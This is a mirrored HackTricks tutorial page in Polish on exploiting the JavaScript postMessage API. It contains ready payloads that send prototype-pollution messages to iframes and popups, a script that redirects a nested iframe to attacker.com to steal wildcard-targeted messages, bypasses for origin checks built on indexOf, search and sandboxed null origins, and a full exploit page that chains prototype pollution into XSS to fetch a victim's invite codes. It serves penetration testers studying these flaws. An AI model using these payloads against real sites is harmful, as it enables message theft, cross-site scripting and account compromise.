mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
226 lines
12 KiB
Markdown
226 lines
12 KiB
Markdown
# Luki PostMessage
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Wyślij **PostMessage**
|
||
|
||
**PostMessage** używa następującej funkcji do wysyłania wiadomości:
|
||
```bash
|
||
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
||
|
||
# postMessage to current page
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe with id "idframe"
|
||
<iframe id="idframe" src="http://victim.com/"></iframe>
|
||
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe via onload
|
||
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
|
||
|
||
# postMessage to popup
|
||
win = open('URL', 'hack', 'width=800,height=300,top=500');
|
||
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an URL
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
|
||
|
||
# postMessage to iframe inside popup
|
||
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
||
## loop until win.length == 1 (until the iframe is loaded)
|
||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
```
|
||
Zauważ, że **targetOrigin** może być '\*' lub adresem URL, takim jak _https://company.com._\
|
||
W **drugim scenariuszu** **wiadomość może być wysyłana tylko do tej domeny** (nawet jeśli pochodzenie obiektu okna jest inne).\
|
||
Jeśli użyto **znaku wieloznacznego**, **wiadomości mogą być wysyłane do dowolnej domeny** i będą wysyłane do pochodzenia obiektu Window.
|
||
|
||
### Atakowanie iframe i znak wieloznaczny w **targetOrigin**
|
||
|
||
Jak wyjaśniono w [**tym raporcie**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), jeśli znajdziesz stronę, która może być **iframed** (brak ochrony `X-Frame-Header`) i która **wysyła wrażliwe** wiadomości za pomocą **postMessage** używając **znaku wieloznacznego** (\*), możesz **zmodyfikować** **pochodzenie** **iframe** i **ujawnić** **wrażliwą** wiadomość do domeny kontrolowanej przez Ciebie.\
|
||
Zauważ, że jeśli strona może być iframed, ale **targetOrigin** jest **ustawione na adres URL, a nie na znak wieloznaczny**, ten **sztuczek nie zadziała**.
|
||
```html
|
||
<html>
|
||
<iframe src="https://docs.google.com/document/ID" />
|
||
<script>
|
||
setTimeout(exp, 6000); //Wait 6s
|
||
|
||
//Try to change the origin of the iframe each 100ms
|
||
function exp(){
|
||
setInterval(function(){
|
||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||
}, 100);
|
||
}
|
||
</script>
|
||
```
|
||
## exploitacja addEventListener
|
||
|
||
**`addEventListener`** to funkcja używana przez JS do deklarowania funkcji, która **oczekuje `postMessages`**.\
|
||
Zostanie użyty kod podobny do poniższego:
|
||
```javascript
|
||
window.addEventListener(
|
||
"message",
|
||
(event) => {
|
||
if (event.origin !== "http://example.org:8080") return
|
||
|
||
// ...
|
||
},
|
||
false
|
||
)
|
||
```
|
||
Zauważ w tym przypadku, jak **pierwszą rzeczą**, którą kod robi, jest **sprawdzanie pochodzenia**. To jest strasznie **ważne**, szczególnie jeśli strona ma zamiar zrobić **cokolwiek wrażliwego** z otrzymanymi informacjami (jak zmiana hasła). **Jeśli nie sprawdzi pochodzenia, atakujący mogą zmusić ofiary do wysyłania dowolnych danych do tych punktów końcowych** i zmieniać hasła ofiar (w tym przykładzie).
|
||
|
||
### Enumeracja
|
||
|
||
Aby **znaleźć nasłuchiwacze zdarzeń** na bieżącej stronie, możesz:
|
||
|
||
- **Szukaj** w kodzie JS `window.addEventListener` i `$(window).on` (_wersja JQuery_)
|
||
- **Wykonaj** w konsoli narzędzi deweloperskich: `getEventListeners(window)`
|
||
|
||
 (1).png>)
|
||
|
||
- **Przejdź do** _Elements --> Event Listeners_ w narzędziach deweloperskich przeglądarki
|
||
|
||
.png>)
|
||
|
||
- Użyj **rozszerzenia przeglądarki** takiego jak [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) lub [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Te rozszerzenia przeglądarki **przechwycą wszystkie wiadomości** i pokażą je Tobie.
|
||
|
||
### Ominięcia sprawdzania pochodzenia
|
||
|
||
- Atrybut **`event.isTrusted`** jest uważany za bezpieczny, ponieważ zwraca `True` tylko dla zdarzeń generowanych przez prawdziwe działania użytkownika. Chociaż trudno go obejść, jeśli jest poprawnie zaimplementowany, jego znaczenie w kontrolach bezpieczeństwa jest znaczące.
|
||
- Użycie **`indexOf()`** do walidacji pochodzenia w zdarzeniach PostMessage może być podatne na ominięcie. Przykład ilustrujący tę podatność to:
|
||
|
||
```javascript
|
||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||
```
|
||
|
||
- Metoda **`search()`** z `String.prototype.search()` jest przeznaczona do wyrażeń regularnych, a nie do ciągów. Przekazanie czegokolwiek innego niż regexp prowadzi do niejawnej konwersji na regex, co czyni metodę potencjalnie niebezpieczną. Dzieje się tak, ponieważ w regexie kropka (.) działa jako symbol wieloznaczny, co pozwala na ominięcie walidacji za pomocą specjalnie skonstruowanych domen. Na przykład:
|
||
|
||
```javascript
|
||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||
```
|
||
|
||
- Funkcja **`match()`**, podobnie jak `search()`, przetwarza regex. Jeśli regex jest źle skonstruowany, może być podatny na ominięcie.
|
||
- Funkcja **`escapeHtml`** ma na celu sanitację danych wejściowych poprzez ucieczkę znaków. Jednak nie tworzy nowego obiektu z ucieczką, lecz nadpisuje właściwości istniejącego obiektu. To zachowanie może być wykorzystane. Szczególnie, jeśli obiekt można manipulować w taki sposób, że jego kontrolowana właściwość nie uznaje `hasOwnProperty`, `escapeHtml` nie zadziała zgodnie z oczekiwaniami. To jest pokazane w poniższych przykładach:
|
||
|
||
- Oczekiwana awaria:
|
||
|
||
```javascript
|
||
result = u({
|
||
message: "'\"<b>\\",
|
||
})
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
- Ominięcie ucieczki:
|
||
|
||
```javascript
|
||
result = u(new Error("'\"<b>\\"))
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
W kontekście tej podatności, obiekt `File` jest szczególnie podatny na wykorzystanie z powodu swojej właściwości `name`, która jest tylko do odczytu. Ta właściwość, gdy jest używana w szablonach, nie jest sanitizowana przez funkcję `escapeHtml`, co prowadzi do potencjalnych zagrożeń bezpieczeństwa.
|
||
|
||
- Właściwość `document.domain` w JavaScript może być ustawiana przez skrypt w celu skrócenia domeny, co pozwala na bardziej luźne egzekwowanie polityki tego samego pochodzenia w obrębie tej samej domeny nadrzędnej.
|
||
|
||
### Ominięcie e.origin == window.origin
|
||
|
||
Podczas osadzania strony internetowej w **sandboxed iframe** przy użyciu %%%%%%, ważne jest, aby zrozumieć, że pochodzenie iframe będzie ustawione na null. Jest to szczególnie istotne w przypadku **atrybutów sandbox** i ich implikacji na bezpieczeństwo i funkcjonalność.
|
||
|
||
Poprzez określenie **`allow-popups`** w atrybucie sandbox, każde okno popup otwarte z wnętrza iframe dziedziczy ograniczenia sandboxu swojego rodzica. Oznacza to, że chyba że atrybut **`allow-popups-to-escape-sandbox`** jest również uwzględniony, pochodzenie okna popup jest również ustawione na `null`, co jest zgodne z pochodzeniem iframe.
|
||
|
||
W konsekwencji, gdy popup jest otwierany w tych warunkach i wiadomość jest wysyłana z iframe do popupu za pomocą **`postMessage`**, zarówno nadawca, jak i odbiorca mają swoje pochodzenia ustawione na `null`. Ta sytuacja prowadzi do scenariusza, w którym **`e.origin == window.origin`** ocenia się jako prawda (`null == null`), ponieważ zarówno iframe, jak i popup dzielą tę samą wartość pochodzenia `null`.
|
||
|
||
Aby uzyskać więcej informacji **przeczytaj**:
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-1.md
|
||
{{#endref}}
|
||
|
||
### Ominięcie e.source
|
||
|
||
Możliwe jest sprawdzenie, czy wiadomość pochodzi z tego samego okna, w którym skrypt nasłuchuje (szczególnie interesujące dla **Content Scripts z rozszerzeń przeglądarki**, aby sprawdzić, czy wiadomość została wysłana z tej samej strony):
|
||
```javascript
|
||
// If it’s not, return immediately.
|
||
if (received_message.source !== window) {
|
||
return
|
||
}
|
||
```
|
||
Możesz wymusić, aby **`e.source`** wiadomości było równe null, tworząc **iframe**, który **wysyła** **postMessage** i jest **natychmiast usuwany**.
|
||
|
||
Aby uzyskać więcej informacji **przeczytaj:**
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-2.md
|
||
{{#endref}}
|
||
|
||
### Obejście nagłówka X-Frame
|
||
|
||
Aby przeprowadzić te ataki, najlepiej byłoby **umieścić stronę internetową ofiary** w `iframe`. Jednak niektóre nagłówki, takie jak `X-Frame-Header`, mogą **zapobiegać** temu **zachowaniu**.\
|
||
W takich scenariuszach możesz nadal użyć mniej dyskretnego ataku. Możesz otworzyć nową kartę do podatnej aplikacji internetowej i komunikować się z nią:
|
||
```html
|
||
<script>
|
||
var w=window.open("<url>")
|
||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||
</script>
|
||
```
|
||
### Kradzież wiadomości wysłanej do dziecka przez zablokowanie głównej strony
|
||
|
||
Na poniższej stronie możesz zobaczyć, jak można ukraść **wrażliwe dane postmessage** wysłane do **dziecięcego iframe** przez **zablokowanie** **głównej** strony przed wysłaniem danych i wykorzystanie **XSS w dziecku** do **ujawnienia danych** przed ich odebraniem:
|
||
|
||
{{#ref}}
|
||
blocking-main-page-to-steal-postmessage.md
|
||
{{#endref}}
|
||
|
||
### Kradzież wiadomości przez modyfikację lokalizacji iframe
|
||
|
||
Jeśli możesz umieścić stronę w iframe bez X-Frame-Header, która zawiera inny iframe, możesz **zmienić lokalizację tego dziecięcego iframe**, więc jeśli odbiera **postmessage** wysłane za pomocą **wildcard**, atakujący mógłby **zmienić** ten iframe **origin** na stronę **kontrolowaną** przez niego i **ukraść** wiadomość:
|
||
|
||
{{#ref}}
|
||
steal-postmessage-modifying-iframe-location.md
|
||
{{#endref}}
|
||
|
||
### postMessage do zanieczyszczenia prototypu i/lub XSS
|
||
|
||
W scenariuszach, w których dane wysyłane przez `postMessage` są wykonywane przez JS, możesz **umieścić** **stronę** w **iframe** i **wykorzystać** **zanieczyszczenie prototypu/XSS**, wysyłając exploit za pomocą `postMessage`.
|
||
|
||
Kilka **bardzo dobrze wyjaśnionych XSS przez `postMessage`** można znaleźć w [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
|
||
Przykład exploita do wykorzystania **zanieczyszczenia prototypu, a następnie XSS** przez `postMessage` do `iframe`:
|
||
```html
|
||
<html>
|
||
<body>
|
||
<iframe
|
||
id="idframe"
|
||
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||
<script>
|
||
function get_code() {
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(
|
||
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
|
||
"*"
|
||
)
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
|
||
}
|
||
|
||
setTimeout(get_code, 2000)
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
Dla **więcej informacji**:
|
||
|
||
- Link do strony o [**zanieczyszczeniu prototypu**](../deserialization/nodejs-proto-prototype-pollution/index.html)
|
||
- Link do strony o [**XSS**](../xss-cross-site-scripting/index.html)
|
||
- Link do strony o [**zanieczyszczeniu prototypu po stronie klienta do XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||
|
||
## Odniesienia
|
||
|
||
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||
- Do ćwiczeń: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|